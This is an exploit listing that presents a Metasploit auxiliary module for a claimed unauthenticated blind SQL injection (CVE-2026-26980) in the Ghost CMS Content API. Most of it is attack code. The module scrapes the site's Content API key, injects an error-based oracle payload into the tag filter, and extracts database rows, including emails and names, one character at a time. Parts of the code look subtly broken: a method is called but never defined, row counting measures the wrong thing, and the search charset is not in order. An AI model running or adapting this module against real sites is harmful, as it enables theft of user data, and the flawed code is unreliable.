Share
## https://sploitus.com/exploit?id=PACKETSTORM:219677
==================================================================================================================================
    | # Title     : Ghost CMS 6.19.0 Unauthenticated Content API Blind SQL Injection                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://ghost.org/                                                                                               |
    ==================================================================================================================================
    
    [+] Summary    : This is a Metasploit auxiliary module targeting a blind, unauthenticated SQL injection vulnerability in the Ghost CMS Content API (versions 3.24.0 to 6.19.0).
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Ghost CMS Unauthenticated SQL Injection via Content API',
            'Description' => %q{
              Ghost CMS versions 3.24.0 through 6.19.0 contain an unauthenticated SQL injection
              vulnerability in the Content API.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-26980']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-03-30'
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for Ghost installation', '/']),
          OptString.new('API_KEY', [false, 'Ghost Content API Key', '']),
          OptString.new('API_PATH', [false, 'Content API path', '']),
          OptEnum.new('DBMS', [true, 'Database engine', 'sqlite', ['sqlite', 'mysql']]),
          OptString.new('TABLE', [false, 'Specific table', '']),
          OptString.new('COLUMNS', [false, 'Columns', '']),
          OptInt.new('THREADS', [true, 'Threads', 15]),
          OptInt.new('TIMEOUT', [true, 'Timeout', 10])
        ])
      end
    
      def setup
        @base_uri = normalize_uri(target_uri.path)
        @api_key = datastore['API_KEY']
        @api_path = datastore['API_PATH']
        @dbms = datastore['DBMS']
        @threads = datastore['THREADS']
        @timeout = datastore['TIMEOUT']
        @table_to_dump = datastore['TABLE']
        @columns = datastore['COLUMNS']&.split(',')&.map(&:strip)
    
        @charset = "$./0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz@!#%^&*()+-=".chars
        @error_indicator = "InternalServerError"
        @api_endpoint = nil
        @tag_slug = nil
        @tag_id = nil
        @url_template = nil
      end
    
      def run_host(ip)
        print_status("Ghost SQLi CVE-2026-26980")
        print_status("Target: #{peer}")
    
        unless discover_api_endpoint
          print_error("Discovery failed")
          return
        end
    
        unless verify_oracle
          print_error("Oracle failed")
          return
        end
    
        if @table_to_dump && !@table_to_dump.empty?
          dump_table(@table_to_dump)
        else
          perform_reconnaissance
        end
      end
    
      def discover_api_endpoint
        res = send_request_cgi({
          'uri' => normalize_uri(@base_uri),
          'method' => 'GET'
        })
    
        return false unless res && res.code == 200
    
        if res.body =~ /data-key="([a-f0-9]+)"/
          @api_key = Regexp.last_match(1)
        else
          return false
        end
    
        if res.body =~ /data-api="([^"]+)"/
          api_raw = Regexp.last_match(1)
          path = URI.parse(api_raw).path
          @api_endpoint = normalize_uri(@base_uri, path)
          @api_endpoint = "#{@api_endpoint}/"
        else
          return false
        end
    
        discover_tag_from_api
      end
    
      def discover_tag_from_api
        res = send_request_cgi({
          'uri' => normalize_uri(@api_endpoint, 'tags/'),
          'method' => 'GET',
          'vars_get' => { 'key' => @api_key }
        })
    
        return false unless res && res.code == 200
    
        json = JSON.parse(res.body)
        return false unless json['tags'] && json['tags'][0]
    
        @tag_slug = json['tags'][0]['slug']
        @tag_id = json['tags'][0]['id']
    
        slug = Rex::Text.uri_encode(@tag_slug.to_s)
        @url_template = "#{@api_endpoint}tags/?key=#{@api_key}&filter=slug:['*',#{slug}]&limit=all"
    
        true
      rescue
        false
      end
    
      def verify_oracle
        check_condition("1=1") && !check_condition("1=2")
      end
    
      def check_condition(condition)
        if @dbms == "mysql"
          error_payload = "(SELECT exp(710))"
        else
          error_payload = "(SELECT abs(-9223372036854775808))"
        end
    
        payload = " OR CASE WHEN (#{condition}) THEN #{error_payload} ELSE 0 END AND slug="
        url = @url_template.gsub("*", payload, 1)
    
        res = send_request_cgi({
          'uri' => url,
          'method' => 'GET',
          'timeout' => @timeout
        })
    
        return false unless res && res.body
    
        res.body =~ /badrequesterror/i || res.body =~ /#{@error_indicator}/i
      rescue
        false
      end
    
      def get_query_length(query)
        length = 0
        [64, 32, 16, 8, 4, 2, 1].each do |bit|
          if check_condition("LENGTH((#{query}))>=#{length + bit}")
            length += bit
          end
        end
        length
      end
    
      def get_query_char(query, position)
        low = 0
        high = @charset.length - 1
    
        while low < high
          mid = (low + high) / 2
          char_code = @charset[mid].ord
    
          condition = "ASCII(SUBSTR((#{query}),#{position},1))>=#{char_code}"
    
          if check_condition(condition)
            low = mid + 1
          else
            high = mid
          end
        end
    
        @charset[low]
      end
    
      def extract_data(query, label, force_length = nil)
        length = force_length || get_query_length(query)
        return "" if length.nil? || length.to_i <= 0
    
        result = []
        (1..length).each do |pos|
          result << get_query_char(query, pos)
        end
    
        result.join
      end
    
      def dump_table(table_name)
        print_status("Dumping: #{table_name}")
    
        count = get_query_length("SELECT COUNT(*) FROM #{table_name}")
        return if count <= 0
    
        (0...count).each do |i|
          row = {}
          ['id', 'email', 'name'].each do |col|
            row[col] = extract_data("SELECT #{col} FROM #{table_name} LIMIT 1 OFFSET #{i}", col)
          end
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================